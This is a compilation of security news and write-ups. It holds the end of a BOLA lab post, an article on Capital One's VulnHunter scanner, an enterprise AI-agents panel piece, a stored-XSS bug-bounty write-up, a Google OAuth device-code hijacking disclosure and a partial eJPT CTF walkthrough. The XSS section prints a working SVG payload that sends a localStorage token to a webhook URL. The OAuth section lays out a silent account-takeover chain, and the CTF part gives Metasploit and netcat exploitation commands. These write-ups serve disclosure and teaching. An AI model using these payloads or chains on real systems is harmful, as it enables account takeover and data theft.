• Neither Jhonny nor Alex received any notification or gave any consent.
• The card IDs used were never exposed to either user by the application itself, they were reached only by directly editing a request in Burp, not by anything the UI ever presented as selectable.
• Both requests used each user’s own main balance and own token throughout, nothing about the flow resembled a designed transfer mechanism.

A designed feature has guardrails: consent steps, recipient verification, fraud checks. This had none of that, because it was never meant to be reachable in the first place.

The Fix

The remediation here is almost anticlimactic given the impact. This isn’t a hard problem to solve, just an easy one to forget:

• Every object-level query needs an explicit ownership check tied to the authenticated session: WHERE card_id = ? AND user_id = ?
• Better yet, enforce this centrally, an authorization layer or middleware that every object-fetching endpoint routes through, rather than relying on each developer to remember it per-endpoint
• Make cross-account testing a standard part of QA and code review: test with two different authenticated accounts against each other’s objects, not just each account against its own.

The Takeaway

BOLA doesn’t require exotic tooling or deep exploit development. It requires one thing: noticing that an ID in a URL is just a number, and asking whether the server actually checked if you were allowed to use it.

In this case, it hadn’t. Two independent accounts, each fully authenticated, could reach into each other’s resources without so much as a warning.

Authentication tells a server who is asking. Authorization is the separate and often forgotten question of what they’re allowed to ask for?. Every API needs both, and it’s worth checking, endpoint by endpoint, that yours actually has them.

This testing was performed against VulnBank, an intentionally vulnerable application built for security education and training purposes.

I Funded a Stranger’s Bank Card With My Own Money; and That’s Exactly the Problem was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

The post Build an Agentic Event Venue Operator with MongoDB Atlas, Voyage, and LangGraph appeared first on MarkTechPost.

The post Zyphra Releases ZUNA1.1: An Apache 2.0 EEG Foundation Model With Variable-Length Inputs From 0.5 To 30 Seconds appeared first on MarkTechPost.

The move marks a striking philosophical turn for a company still defined, in many boardrooms, by a 2019 data breach that compromised the personal information of roughly 106 million people across the United States and Canada and ultimately cost the bank an $80 million federal fine.

Capital One is not simply releasing another vulnerability scanner. VulnHunter introduces what the company calls an "attacker-first forward analysis" — a workflow in which the tool begins at the points where a real adversary would enter a system, such as APIs, network messages, or file uploads, and reasons forward through the application's logic to determine whether an exploit path actually survives the code's existing defenses. Conventional scanners typically work in reverse, flagging a dangerous-looking code pattern and then searching backward for a hypothetical attacker. That approach, security practitioners widely acknowledge, buries engineering teams under avalanches of false positives.

VulnHunter attacks that problem head-on with a second innovation: a built-in "falsification engine" that tries to disprove its own findings before a developer ever sees them. After the tool surfaces a potential vulnerability, a structured reasoning workflow hunts for logical gaps, unsupported assumptions, and conditions that would prevent the attack from succeeding. Only findings the engine fails to rule out reach a human reviewer — and when they do, VulnHunter delivers not just an alert but a full explanation of the exploit path and a proposed code fix ready for engineering review.

The tool currently runs on Anthropic's Claude Opus 4.8 model inside a Claude Code environment, though Capital One says the framework has the potential to work across other foundation models and coding harnesses.

The 2019 breach that reshaped how Capital One thinks about cybersecurity

To understand why Capital One chose to open-source a tool this consequential, you have to understand the scar tissue.

On July 19, 2019, Capital One disclosed that an outside individual — later identified as a former Amazon Web Services employee named Paige Thompson — had gained unauthorized access to names, addresses, self-reported income, Social Security numbers, and linked bank account numbers belonging to credit card customers and applicants. The breach, which Capital One says occurred on March 22 and 23, 2019, was discovered only after an external security researcher flagged a configuration vulnerability through the company's Responsible Disclosure Program on July 17 of that year.

The damage was sweeping. Approximately 100 million people in the United States and 6 million in Canada were affected. Roughly 140,000 Social Security numbers, about 80,000 linked bank account numbers, and approximately 1 million Canadian Social Insurance Numbers were compromised. The FBI arrested Thompson, and the government stated it believed the data had been recovered with no evidence of fraud. But the reputational and regulatory toll was enormous.

In August 2020, the Office of the Comptroller of the Currency fined Capital One $80 million, finding that the bank had failed to adequately identify and manage risks as it migrated significant technology operations to the cloud. As Reuters reported at the time, the OCC's consent order cited insufficient network security controls, inadequate data loss prevention measures, and a board that failed to hold management accountable when internal auditing surfaced problems. The OCC also ordered Capital One to overhaul its operations and submit new cybersecurity plans for regulatory review.

The incident became an industry case study in the dangers of moving fast with new technology. As CyberScoop reported in July 2019, a cybersecurity executive at a competing financial company observed that the breach "could be the result of trying too many new things and forcing them through." Capital One's own CEO, Richard D. Fairbank, acknowledged the gravity of the moment. "While I am grateful that the perpetrator has been caught, I am deeply sorry for what has happened," Fairbank said at the time. "I sincerely apologize for the understandable worry this incident must be causing those affected and I am committed to making it right."

How Capital One rebuilt its security reputation through open-source investment

What followed was not a retreat from technology but a doubling down — with security explicitly at the center.

Capital One had declared itself an "open-source first" company in 2015 as part of a broader technology transformation that began over a decade ago. After the breach, the company accelerated its investments in software supply chain security, open-source governance, and AI-driven defense. In August 2022, Capital One joined the Open Source Security Foundation as a premier member, earning a seat on the organization's Governing Board. Chris Nims, then EVP of Cloud & Productivity Engineering, framed the move as a natural extension of the company's operating philosophy. "As a highly-regulated company, we are seasoned in managing compliance and governance and advocate for standardization, automation and collaboration," Nims said in the OpenSSF announcement.

Behind that public commitment lay a substantial operational apparatus. Capital One's Open Source Program Office, now in its third iteration, manages open-source usage, contributions, and community building across the enterprise. The company has released more than 25 open-source projects and made over 2,000 contributions to approximately 135 external open-source projects, according to the company's own disclosures. Those efforts address not just code dependencies but the entire software development lifecycle — DevSecOps tools, infrastructure, and the collaborative environments, both internal and external, that shape how software gets built and shipped.

Nureen D'Souza, the director who leads Capital One's OSPO, has spoken publicly about the philosophy underpinning this work. At cdCon 2022, D'Souza described a "company-wide culture with security ingrained" that allows developers to focus on innovation rather than maintenance chores, as reported by SD Times. The OSPO's charter emphasizes three pillars: standardization of open-source processes, automation of security policies throughout the delivery pipeline, and ecosystem sustainability through upstream contributions to the foundations and projects the company depends on.

VulnHunter is the most consequential product of that multi-year effort — and the clearest signal yet that Capital One views open-source collaboration not as charity but as a competitive security strategy. The company argues that modern software supply chains are so deeply interconnected that a single vulnerability in a widely used open-source component can cascade across thousands of enterprises simultaneously. Proprietary defenses, no matter how sophisticated, cannot address a problem that is fundamentally communal. By releasing VulnHunter under a permissive license, Capital One invites the global security research community to stress-test, extend, and improve the tool — effectively crowdsourcing its own defense infrastructure while strengthening the broader ecosystem.

Inside VulnHunter's three-stage AI engine for finding exploitable code

For engineering leaders evaluating VulnHunter, the technical architecture is where the tool's ambitions become concrete. The workflow unfolds in three distinct stages.

In the first stage — attacker-first forward analysis — VulnHunter begins at the points where an external adversary would interact with a system: API endpoints, network message handlers, file upload interfaces. From each entry point, the tool reasons forward through application logic, tracing data flows, transformations, and internal security checkpoints to determine whether an attacker can actually reach a dangerous code path. This approach mirrors how a skilled penetration tester would probe a system, but automates the process at a scale no human team could match.

The second stage is where VulnHunter departs most sharply from conventional scanners. After identifying a potential vulnerability, the falsification engine runs a structured reasoning workflow designed to disprove its own conclusion. It searches for assumptions that do not hold, logical gaps in the exploit path, and environmental conditions that would prevent an attack from succeeding. Findings that fail this internal challenge are discarded before any developer sees them. Capital One's explicit goal is to shift the developer's burden away from triaging false alarms — a perennial pain point that erodes trust in security tooling and slows development velocity.

In the third stage, vulnerabilities that survive the falsification engine trigger an evidence-backed remediation workflow. VulnHunter gathers supporting evidence across the codebase, maps the complete surviving exploit path, explains the defect and the specific capabilities an attacker would gain, and generates targeted code changes for engineering review. The output is not a generic advisory but a concrete, context-aware patch proposal.

Capital One says it validated VulnHunter internally before release, running it across thousands of repositories spanning tens of business areas. The company reports that the tool identified and remediated vulnerabilities with speed and efficiency that far exceeded what its teams previously achieved through manual triage.

Why AI-powered attacks are forcing banks to rethink traditional cyber defenses

VulnHunter arrives at a moment when the cybersecurity landscape is shifting beneath the feet of every enterprise. Capital One's announcement frames the urgency in stark terms: advanced AI models have "dramatically lowered the barrier for bad actors to discover and exploit vulnerabilities in software," and the window before sophisticated AI attack capabilities become affordable and accessible to virtually every adversary is shrinking rapidly.

The company's own AI security researchers have been tracking these trends closely. At NeurIPS 2024 in Vancouver, Capital One's team presented research and curated a list of nearly 100 papers spanning LLM safety, adversarial resilience, jailbreak attacks, and synthetic data generation. The papers they highlighted — including work on multi-agent defense frameworks, automated red-teaming, and guardrail classifiers — paint a picture of an arms race in which offensive and defensive AI capabilities are co-evolving at breakneck speed.

Several of those research themes map directly onto VulnHunter's architecture. The falsification engine echoes the adversarial defense strategies explored in papers like "BackdoorAlign," which demonstrated that embedding a structured safety mechanism into a small number of training examples could recover a model's safety alignment without degrading performance. The attacker-first forward analysis reflects the philosophy of "WildTeaming," a framework that collects and analyzes real-world jailbreak attempts to build more resilient models. And VulnHunter's emphasis on minimizing false positives parallels the goals of "GuardFormer," a guardrail classifier that outperformed GPT-4 on safety benchmarks while running 14 times faster.

The thread connecting all of this work is a conviction that traditional, reactive security — monitoring networks, patching known vulnerabilities, responding to incidents after they occur — is no longer sufficient when adversaries can use AI to discover and exploit zero-day vulnerabilities at machine speed. The only durable defense, Capital One argues, is to find and fix the vulnerabilities in your own code before attackers find them first.

What Capital One's cloud security journey reveals about the entire banking industry

Capital One's arc from breach victim to open-source security contributor also illuminates a broader reckoning across financial services. When Capital One moved aggressively to Amazon Web Services in the mid-2010s, it was a rarity among major banks. Most financial institutions simply did not trust third parties to store their most sensitive data. Capital One's CIO at the time, Rob Alexander, publicly championed the cloud as more secure than the bank's own data centers — a claim that the 2019 breach complicated considerably.

The CyberScoop report from that period captured the tension within the industry. W. Patrick Opet, managing director of cybersecurity at JP Morgan Chase, described a cultural shift in banking from prioritizing traders to prioritizing developers: "Now, it's 'Focus on the developer, turn everything into code, and automate everything.'" Mark Nicholson, Deloitte's cyber leader for the financial industry, noted that the pressure to move quickly was exposing "weaknesses in the development methodology." And the breach itself was a reminder that even as Chase spent $600 million annually on cybersecurity, relatively simple vulnerabilities — like the Apache Struts bug that enabled the Equifax breach — could undercut massive investments in data protection.

Seven years later, the industry has largely followed Capital One into the cloud, and the security challenges have only intensified. The question is no longer whether to use cloud infrastructure but how to secure the software that runs on it. VulnHunter represents Capital One's answer: rather than relying solely on network-level controls and perimeter defenses, push security directly into the code itself, at the moment it is written. The open-source release also carries implicit competitive pressure. If VulnHunter gains traction among developers and security teams, it could set a new baseline for what enterprise security tooling is expected to do — and force rival banks, fintechs, and cloud providers to match or exceed its capabilities.

Whether VulnHunter lives up to that ambition will depend on adoption, community engagement, and the tool's real-world performance against the increasingly sophisticated AI-powered attacks it was designed to counter. But the release itself tells a story that extends well beyond any single tool or any single company. In 2019, a misconfigured firewall exposed 100 million records and turned Capital One into a cautionary tale about the cost of moving fast without moving carefully. In 2026, the same institution is open-sourcing the kind of AI-driven defense it wishes it had built sooner — and betting that the best way to protect its own code is to help the entire industry protect theirs.

The panel brought together Animesh Singh, senior director of AI platform and infrastructure at LinkedIn, Desiree Gosby, SVP of corporate technology services and technology strategy at Walmart, and Sami Ghoche, VP of applied AI at Zendesk, each describing what actually broke when they moved agents from pilot to production. Each arrived at the same conclusion from a different starting point: None of the bottlenecks they hit were model problems.

What tied their answers together was a shared premise: most enterprise infrastructure was built for how humans work, not for how agents work. The gap between those two speeds is where the real engineering happened.

Gosby put it plainly when asked what she'd learned scaling agents inside Walmart's own workforce. The goal, she said, is to make sure "engineering doesn't once again become the bottleneck for what it is we're trying to do."

Where the bottleneck actually was

Each company hit a different version of the same wall: infrastructure designed for how people work doesn't hold up once agents are doing the work instead.

At LinkedIn, the first bottleneck wasn't a model, it was Kubernetes, which assumes containers spin up on demand, a process that takes seconds. Singh said that's too slow for agents. The fix was moving from on-demand provisioning to pre-provisioned pools of containers that swap agentic workloads in and out in real time.

A second, harder problem surfaced once LinkedIn let agents control their own orchestration. A five-point evaluation system looked clean, but hallucination kept showing up anyway. Singh said the issue was structural, an LLM evaluating another LLM's output shares the same failure mode as the thing it's evaluating. 

"We built our own harness, our own control flow, and pushed the LLMs to the leaf instead of them orchestrating the loop," Singh said. Roughly 80% of the workflow is now scripted, deterministic code, with LLMs used only where reasoning is required, and each step's evidence is committed to disk before the system moves on.

Walmart's bottleneck came from success. An agent harness put directly into employees' hands went viral internally, and what Gosby called "citizen developers" began building their own agents to solve problems that once required a formal engineering roadmap. The upside was real innovation. The downside was duplication, dozens of overlapping agents with no coordination. The fix wasn't reining in the harness, it was building governance to spot duplication, promote the best version of an agent, and get it into production without engineering becoming a chokepoint.

Zendesk hit its bottleneck from the data side. Ghoche, who joined through Zendesk's acquisition of Forethought, which closed in March 2026, described sitting on what he called a public figure of 20 billion customer conversations in Zendesk's repository. The instinct is to hand that history to a large language model with a big context window and let it generate the agents a business needs. Ghoche said that doesn't work. "You can't really do that, so instead you have to really invest in the underlying data pipelines and all the data infrastructure that comes with that," he said.

The role of open source

On open source, all three leaders landed on a similar instinct: own what you can, and lean on frontier labs only where they still have a clear edge.

Ghoche said his own view is that most enterprises would prefer to own their models and infrastructure wherever that's possible, and that reasoning is what drives Zendesk's own approach. The exception is frontier reasoning work, where the labs still lead, though he said that slice of use cases is shrinking relative to everything else enterprises now do with AI.

LinkedIn's answer was to build two subsystems specifically for independence. The first is what the company calls an AI gateway, a single interface that every outbound call to a model runs through regardless of provider. The second component is a memory subsystem built to hold context independent of any model provider.

"Every single outbound call going to an LLM, whether it's on a public cloud or on-prem in our own data centers, follows the same semantics, the same API calls. We can quickly switch between different providers," Singh said. 

Walmart built its own internal gateway to stay vendor agnostic across three workload types: fully deterministic workflows, planner-and-reasoner workflows for open-ended tasks, and a hybrid of the two. Compliance-heavy work stays deterministic by design; governance, security and evaluation run through the gateway regardless of which model is on the other end. Gosby said the choice between a frontier model and an open-weight model comes down to whichever is most effective for the specific workload, not a fixed policy.

Advice for the modernization journey

Three pieces of advice came up directly, each tied to the wall a leader had already hit.

Invest in evals before anything else. Ghoche called it the thing common to every use case, internal or customer facing. 

"The thing that's common to all of these is evals. It'll force you to break the problem down, and once you have a robust set of evals, you can move a lot faster," he said, 

Own your agent harness from day one. Gosby's advice was to put the AI harness directly in employees' hands early, paired with the infrastructure to monitor what it produces. 

"It will unlock a huge amount of innovation," she said.

Build for model and context independence. Ensuring flexibility is critical for success.

"Build for independence, whether it's a frontier model of today versus an open source model of tomorrow," Singh said. "Keep that context within your enterprise so that you can reuse it when you ship the model or the harness tomorrow," Singh said.

Hacking via Pictures: Stored XSS via SVG Leading to Account Takeover

Hello everyone! 👋

In this write-up, I want to share an interesting finding: a Stored Cross-Site Scripting (XSS) vulnerability hidden inside a profile picture upload feature.

By simply uploading a malicious SVG image, I was able to execute JavaScript code and steal authentication tokens stored in `localStorage`, leading to a full Account Takeover.

Let’s dive into how it happened!

The Discovery

While hunting on a program from the BugBounty.sa platform, I focused on the user profile settings. I noticed the application allowed users to upload profile pictures, so I immediately checked if it accepted SVG (Scalable Vector Graphics) files.

During my reconnaissance, I found three critical pieces of information that made this attack possible:

1. Storage Mechanism: I inspected the application’s storage and found that the session credentials (authentication tokens) were stored in the browser’s `localStorage`.
2. Same-Origin Hosting: I noticed that uploaded photos were hosted **self-hosted on the same domain** (e.g., `https://redacted.com/photos/...`) rather than on a separate CDN or sandbox domain. This is crucial because scripts running inside the image share the same origin as the main application, allowing them to access `localStorage`.

3. Missing CSP: The application had a missing or misconfigured **Content Security Policy (CSP)**, allowing inline scripts to execute.

Steps to Reproduce

1. Navigate to the Target

I logged into my account and went to the **Account Details** page.

**URL:** `https://redacted.com/account/details`

2. Create the Malicious Payload

I set up a listener on **webhook.site** to capture the stolen data. Then, I created a file named `exploit.svg`. Inside this file, I embedded a script to grab the `token` from `localStorage` and send it to my webhook.

• *The Payload:**

<svg xmlns="[http://www.w3.org/2000/svg](http://www.w3.org/2000/svg)" width="400" height="400" viewBox="0 0 124 124" fill="none">
<rect width="124" height="124" rx="24" fill="#000000"/>
 <script type="text/javascript"> 
 var t = localStorage.getItem("token");
 if(t){
 // send token to attacker webhook
 fetch("[https://webhook.site/8c54e2aa-4731-48ec-8ff3-05c524cabd19?token=](https://webhook.site/8c54e2aa-4731-48ec-8ff3-05c524cabd19?token=)" + encodeURIComponent(t));
 }
 alert(t);
 </script>
</svg>

3. Upload the Image

I clicked the upload button and selected my exploit.svg file. The application accepted it without any errors! ✅

Once uploaded, I right-clicked the profile image and selected “Open image in new tab”.

As soon as the browser rendered the SVG, the JavaScript executed. 💥

• An alert box popped up with the token.
• The token was silently sent to my webhook listener.

The Impact

This wasn’t just a simple popup. By accessing localStorage, I could extract the Authentication Token.

With this token, an attacker can:

• Take over the account without a password.
• View sensitive personal information (PII).
• Perform actions on behalf of the victim (admin or user).

Remediation

To fix this, developers should:

• Sanitize SVGs: Remove <script> tags and event handlers (like onload) before saving the file.
• Content Security Policy (CSP): Implement a strict CSP to block inline scripts.
• Force Content-Disposition: Serve user-uploaded images as attachment so browsers download them instead of rendering them.

Happy Hacking!

SAR 2,629 For Stored XSS via svg Image Leading to ATO was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

This one started from setting up the YouTube app on my PS5. The device authorization grant (RFC 8628) it uses, the flow TVs, consoles, and CLIs rely on when they don’t have a browser of their own, turned out to hide two stacked bugs in Google’s implementation.

Two bugs stack together. First, the session that anchors a device-code sign-in is fully transferable: copy the sign-in URL from one browser to another and the second browser’s login satisfies the first device’s poll. Second, the authorization server never binds client_id and scope to the device_code server-side, so both can be swapped in the URL after the fact. Chain the two together with the prompt=none parameter and any link, opened by a victim who has ever used "Sign in with Google" anywhere, silently hands over an access token for an arbitrary Google-registered client, no click, no consent screen, no 2FA prompt, almost no trace in the victim's account activity.

Reported to Google’s VRP on Feb 25, 2026, initially closed twice as “won’t fix”: social engineering, reopened after a one-click PoC, fixed by Mar 28, 2026, and rewarded $13,337. Details on that back-and-forth are in the disclosure timeline below.

1. Intro

Most of the well-known attacks on OAuth go after the client or the resource server: a malicious app, an open redirect, a signing-algorithm mix-up. They leave the authorization server itself alone, because it’s the one party in the protocol that’s supposed to be unshakeable, the thing every other trust decision is anchored to. This is a story about going after that assumption directly, in the one corner of OAuth that’s explicitly designed to let the login happen on a completely different screen: the device authorization grant.

It started as a mundane afternoon setting up a TV app on a game console, and it ended with a way to silently take over accounts on virtually any site that offers “Sign in with Google.” Getting from one to the other took two separate findings stacked on top of each other, a rejected report, and a fix to the fix. What follows is that story, roughly in the order it actually happened, blockers included.

2. The Device Authorization Grant

Most OAuth flows assume the device asking for access has a browser sitting right there to redirect through. RFC 8628 exists for the case where it doesn’t: a smart TV, a games console, a headless CLI. The shape is different from the usual redirect dance:

1. The device calls the authorization server directly (POST /device/code) and gets back a device_code (secret, stays on the device) and a user_code (short, shown on screen).
2. The device displays the user_code and tells the user to go to a URL, google.com/device in Google's case, on any other browser.
3. The user opens that URL on their phone or laptop, types the code, signs in, and consents.
4. Meanwhile the device has been polling POST /token with its device_code. Once the user finishes step 3, the next poll returns an access token.

The whole point of the design is that the device and the browser doing the authenticating can be, and usually are, two completely different pieces of hardware. That’s also exactly what makes this flow interesting to attack: the protocol already expects the login to happen somewhere else. The only thing holding the model together is that the “somewhere else” has to be a browser the legitimate device owner is sitting at.

That’s the assumption. The rest of this write-up is what happened when I went looking for the place where Google’s implementation stops enforcing it.

3. Setting Up YouTube TV on a PS5

I was setting up the YouTube app on my PS5, ordinary first-run setup. The console has no keyboard and no way to type a password comfortably with a controller, so it does the sensible thing: it shows a short user_code on screen and tells you to go sign in on your phone instead. I typed the code into google.com/device, signed into Google, approved the consent screen, and a few seconds later the PS5 was logged in.

Nothing about that felt unusual as a user, but the flow itself was intriguing: a screen with no keyboard asking me to authenticate on a completely separate device, and coming back logged in seconds later. That disconnect between where I typed my password and where the session actually landed is what made me want to look at it more closely. Behind the scenes, that’s:

• POST https://oauth2.googleapis.com/device/code → device_code + user_code.
• The PS5 polling POST https://oauth2.googleapis.com/token with that device_code.
• My phone’s browser walking through https://accounts.google.com/o/oauth2/v2/auth?… to finalize consent once I typed the code and signed in.
• The PS5’s next poll returning an access token.

Standard, boring, RFC-compliant. The interesting part is what that accounts.google.com/o/oauth2/v2/auth URL is actually carrying, and what happens if you don't treat it as disposable. That question is exactly what kicked off everything that follows.

4. The Transferable Session

The obvious question with any flow where “the state lives in a URL” is: what happens if you just move the URL? If the entire sign-in step for a device_code can be handed to someone else, then whoever finishes that sign-in step ends up logged into my device, not theirs.

RFC 8628 §5.4 anticipates exactly this and tells implementers not to let it happen: the whole security model of the flow depends on the user completing verification on a device they’re not about to lose control of.

I started a fresh device flow on the PS5, walked through google.com/device on a laptop, and at the consent screen copied the resulting URL into a second browser. That failed outright: no session for the second browser to pick up.

But the device-code page asks for an email address before showing consent. Entering one forwards the browser to a different endpoint entirely: a challenge page at accounts.google.com/v3/signin/challenge/…, carrying a new parameter, TL=APouJz6T…. Sending that URL to a second browser worked. The second browser prompted a completely normal Google sign-in. Seconds after logging in, that account showed up on the PS5.

TL is an encrypted blob carrying the session state, practically certain to be the device_code, or something that resolves to it, given that it's the only thing left in the URL that could anchor the poll back to a specific device.

Vulnerability #1: the device-code sign-in session is transferable via URL. RFC 8628 explicitly says it shouldn’t be. Send the link, get the account.

That’s a real account takeover, but a narrow one. YouTube TV’s scopes are capped by design, and that cap is the wall I hit next.

5. Breaking the Scope Fence

A YouTube TV account takeover is real, but Google fences the device flow to a short, deliberately low-risk scope allowlist. Per Google’s own docs: “This OAuth 2.0 flow supports a limited set of scopes.” The complete list:

• openid, email, profile
• youtube, youtube.readonly
• drive.appdata, drive.file (app-scoped Drive only, not full Drive)

No Gmail, no full Drive, no cloud-platform, no compute. The access token I got only worked against a YouTube TV–internal API: enough to like a video or subscribe to a channel. Not exactly a headline bug.

So I looked again at the transferable challenge URL:

accounts.google.com/v3/signin/challenge/…
  ?TL=APouJz6T…              <- encrypted session state
  &response_type=none
  &client_id=861556708454-…   <- YouTube TV
  &scope=…                    <- YouTube scopes

Two things stand out. response_type=none means this isn't a normal code/token redirect: there's nothing coming back to a callback at all. And there is no redirect_uri anywhere in the URL. The entire boundary that OAuth normally relies on to pin where a grant goes is simply absent from this endpoint, because the grant never gets delivered through the browser; it gets delivered out-of-band, over the device's /token poll.

The only thing anchoring the session is TL. client_id and scope are just along for the ride in the query string. So: keep TL, swap client_id for a different application, and see which client the authorization server ends up authenticating.

I scripted the device-code issuance, took the resulting URL, and changed client_id from YouTube TV to Google's own Cloud SDK client, with scope changed to cloud-platform, compute, appengine.admin. The consent screen that came back said Google Cloud SDK, listing the elevated scopes. Approving it, my polling script, still polling with the original YouTube TV device_code, got back a token on its next call. Inspecting it: cloud-platform, compute, appengine.admin. Not YouTube.

Vulnerability #2: the server never validates that the client_id and scope in the authorization URL match what the device_code was actually issued for.

Combined with vulnerability #1, the authorization server ends up issuing tokens under one client’s identity (Google Cloud SDK, or any other Google-registered client, first- or third-party) for a session that started under a completely different one (YouTube TV). redirect_uri isn't just weakly validated here: it's not present at all, because the grant never travels through a redirect in this flow to begin with.

The escalation chain worked end to end, at least on paper. Only one step was left: telling Google about it, and finding out whether they’d agree it was a bug at all.

6. From Consent Screen to One Click

I filed this as a report. It came back rejected the next day, citing user interaction: the victim “consented.” Fair, in a narrow sense: the consent screen is genuinely rendered by Google, the click is a genuine click. But the thing being consented to was shaped entirely by parameter substitution in a link I built, and from the victim’s side there is nothing to notice that’s different from any other Google sign-in. Still, “user interaction” was the stated bar, so the next step was removing it.

OAuth has a prompt parameter for exactly the case of skipping the consent screen: set to none, it tells the authorization server not to show any UI if the user has already granted the requested scopes to that client before. It's meant to be narrow, restricted to low-risk scopes like openid, email, profile, and gated on prior consent.

In practice it isn’t narrow at all. “Sign in with Google” is everywhere, and most people have already granted openid email profile to dozens, sometimes hundreds, of apps over the years without ever thinking about it again.

Take the weaponized device-code URL, drop in Facebook’s client_id (any site using "Sign in with Google" works the same way), set scope=openid email profile, add prompt=none. The victim opens the link, and that's the only action required: no consent screen, no button to press. The browser silently completes the flow in the background, the polling script receives an id_token for that third-party application, and that token replays cleanly against the app's own "Sign in with Google" endpoint.

One link. Opening it is the only interaction required. Account takeover on virtually any application that uses Sign in with Google.

The technical bypass was solid. What I didn’t know yet was whether any of it would actually be visible, to the victim or to Google’s own monitoring, if it were used for real.

7. Why the Victim Never Notices

The natural follow-up: surely something surfaces to the victim: a login alert, a new entry under connected apps, a 2FA prompt? It doesn’t, and that’s not incidental. Every signal that would normally catch this gets routed around by the shape of the device-code flow itself.

Audit trail pollution. myaccount.google.com/connections shows the original client bound to the device_code, YouTube TV, never the substituted application. To find any trace of the attack, a victim would have to open the connections page, scroll to find "YouTube TV" among however many connected apps they have, click into it, click "see details" to expand the granted scopes, and then recognize that YouTube TV requesting cloud-platform / compute / appengine.admin is not normal. Five deliberate steps and a piece of domain knowledge very few people have.

Implicit 2FA bypass. The victim goes through a completely ordinary Google sign-in, which already satisfies any 2FA they have configured. The token handoff to the attacker happens afterward, over the device poll, with no further prompt of any kind. The actual high-risk action, an OAuth grant under an arbitrary client’s identity, never trips a high-risk challenge, because as far as the authentication layer is concerned, nothing risky happened; a user just logged in normally.

Stealth, solved. The remaining question was reach: how far the same substitution trick could be pushed past YouTube TV’s own scopes.

8. Extending the Primitive

Stealth is one axis; reach is the other. The same client_id/scope substitution keeps paying out against different corners of the Google ecosystem.

Persistent access via accounts.reauth. Add that scope to the substitution and the resulting grant can refresh indefinitely, with no further victim interaction required: a shoot-and-forget backdoor rather than a one-time token.

A Gmail backdoor via IMAP, not the REST API. Substituting a client_id that's allowed to request https://mail.google.com (Apple's iOS Mail client, for instance) gets a token scoped to full Gmail access. Hitting the Gmail REST API with it fails: "Gmail API has not been used in project 861556708454 before or it is disabled." That project ID belongs to YouTube TV, and the original device-code client never had the Gmail API enabled. That's a project-level gate, not a token-level one, so it's worth checking whether there's another door into the same mailbox. Gmail's IMAP server supports OAuth via the XOAUTH2 SASL mechanism, using the exact same https://mail.google.com/ scope but going through imap.gmail.com:993 instead of the REST API's project-gated surface. It accepts the token without issue. Full inbox access, with the same token the REST API had just rejected.

End to end: a transferable session, plus unvalidated client_id/scope binding, plus prompt=none, equals a link that's invisible to the person who opens it and ends in a fully compromised account, Gmail included.

Chain complete: transferable session, unbound client_id/scope, prompt=none, silent to the victim, and a Gmail backdoor at the end of it. Time to see what Google's VRP panel made of all that.

9. Disclosure Timeline

Feb 25, 2026 Report filed with Google VRP
Mar 2, 2026 Closed: Won’t Fix (Intended Behavior), citing “social engineering”
Mar 2, 2026 Pushed back same day
Mar 3, 2026 Reopened, then closed again: Won’t Fix (Infeasible)
Mar 3, 2026 Countered with a prompt=none one-click PoC against Facebook’s client_id
Mar 4, 2026 Reopened a second time and accepted; bug filed with the product team
Mar 28, 2026 Marked fixed
Apr 2, 2026 Rewarded $13,337

The two rejections both leaned on the same argument: that tricking a user into approving an OAuth prompt is a social-engineering problem, not a vulnerability in Google’s implementation. That didn’t hold up on either pass. The first rejection ignored that this is the exact sign-in flow every Google user already knows, on accounts.google.com, arriving at an app that has no business holding cloud-platform or appengine.admin scopes doing exactly that. The second treated it as equivalent to installing a malicious OAuth app, which the prompt=none PoC against Facebook's client_id directly disproved: there was no prompt to approve, and no app to install; the victim only had to open a link.

10. Mitigations

For a flow that’s explicitly designed to hand sign-in off to a second device, the fix has to happen server-side, since there’s nothing meaningful a client application can check on its own:

1. Keep user_code, device_code, and any session reference that resolves to them out of URLs entirely. If a session can't be copied into a different browser, it can't be handed to a victim.
2. Bind client_id and scope to the device_code at issuance time, server-side. At the consent step, look those values up from that binding instead of trusting whatever the URL says; reject any mismatch.
3. On the consent screen, show device information (name, model) and require the user to actively confirm that device is the one in front of them.

11. Conclusion

The device authorization grant is a narrow, deliberately low-trust flow, right up until the authorization server treats “who is asking” and “what are they asking for” as details that only need to be true at the start of the flow, not checked again by the time consent is granted. Once the session itself turned out to be transferable across browsers, the missing binding between device_code and client_id/scope stopped being a narrow YouTube TV bug and became a way to mint tokens for any Google-registered client, first-party or third-party, capped only by which scopes that client happens to be allowed to request.

Thanks for reading.

Originally published on https://weirdmachine64.github.io/research/google-oauth-device-code-hijacking.html

Confused Deputy: Google IdP Universal Account Takeover via Device Code Flow Hijacking was originally published in InfoSec Write-ups on Medium, where people are continuing the conversation by highlighting and responding to this story.

Hello everyone!

In this blog, I’ll walk through Exploitation CTF 3 from INE’s eJPT path. Two Linux targets this time — one running a vulnerable FTP service with a hidden local service, and another with a misconfigured Samba share that opens a path all the way to root.

So, let’s dive in.

Q. A vulnerable service may be running on target1.ine.local. If exploitable, retrieve the flag from the root directory.

As usual, I started with an Nmap scan:

nmap -sV -sC target1.ine.local

Port 21 was open running ProFTPD 1.3.5, alongside port 80 (Apache). I searched for known exploits:

searchsploit ProFTPD 1.3.5

A Metasploit module came up immediately — exploit/unix/ftp/proftpd_modcopy_exec, which abuses the mod_copy module to execute arbitrary commands via FTP. I loaded it up and set the site path to /var/www/html — the default Apache web root on Linux — since the exploit writes a payload there to be triggered over HTTP:

use exploit/unix/ftp/proftpd_modcopy_exec
set rhosts target1.ine.local
set sitepath /var/www/html
set lhost eth1
run

A shell session opened. I upgraded it to Meterpreter:

sessions -u 1

Then listed the root directory:

meterpreter > ls /

flag1.txt was sitting right there in the root.

Q. Further, a quick interaction with a local network service on target1.ine.local may reveal this flag. Use the hint given in the previous flag.

I read the flag file:

meterpreter > cat /flag1.txt

Along with the flag value, it contained a hint: “Remember, the magical word is ‘letmein’”.

The question mentioned a local network service, so I checked what was listening internally:

meterpreter > netstat

Port 8888 was open on 127.0.0.1 — not exposed externally, only reachable from inside the machine. I dropped into a shell and connected to it with netcat:

meterpreter > shell
nc -nv 127.0.0.1 8888

It prompted for a secret passphrase. I entered letmein — and it returned Flag 2 directly.

Q. A misconfigured service running on target2.ine.local may help you gain access to the machine. Can you retrieve the flag from the root directory?

Fresh Nmap scan on the second target:

nmap -sV -sC target2.ine.local

Ports 80, 139, and 445 were open — Samba running on a Linux target. The HTTP title read “Can you Pwn me?” — a clear invitation. I brute-forced SMB credentials across both users and passwords:

use auxiliary/scanner/smb/smb_login
